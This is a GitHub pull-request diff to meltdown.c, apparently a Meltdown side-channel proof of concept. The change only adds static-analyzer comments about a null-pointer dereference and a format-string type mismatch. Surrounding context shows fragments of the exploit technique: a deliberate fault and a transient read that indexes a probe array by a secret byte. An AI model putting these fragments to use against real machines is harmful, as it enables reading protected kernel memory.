Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 5 additions & 4 deletions meltdown.c
Original file line number Diff line number Diff line change
Expand Up @@ -101,7 +101,7 @@ meltdown(int round, uint8_t *addr)
/*
* Raise exception ...
*/
*((volatile int *)NULL) = 42;
*((volatile int *)NULL) = 42; /* Null pointer dereference !!! (volatile int*)NULL [nullPointer] */

/*
* NOTREACHED
Expand All @@ -122,7 +122,7 @@ meltdown_test(int round, uint8_t *addr)
{
junk = strlen(meltdown_pattern);
if (!sigsetjmp(buf, 1)) {
*((volatile int *)NULL) = 42;
*((volatile int *)NULL) = 42; /* Null pointer dereference !!! (volatile int*)NULL [nullPointer] */
/*NOTREACHED*/
junk = blocks[(*(addr)) * blocksize];
}
Expand Down Expand Up @@ -330,10 +330,11 @@ probability(enum vuln vuln, int kernel, int maxlen)
printf("Alternatives at offset %d:", n);
for (i = 0; i < VALUES_PER_BYTE; i++) {
if (cachehits[i])
printf(" 0x%02x (%c, n=%u)", i,
/* %u in format string (no. 3) requires 'unsigned int'
but the argument type is 'int' */
printf(" 0x%02x (%c, n=%u)", i,
isprint(i) ? i : '.',
cachehits[i]);

}
}
}
Expand Down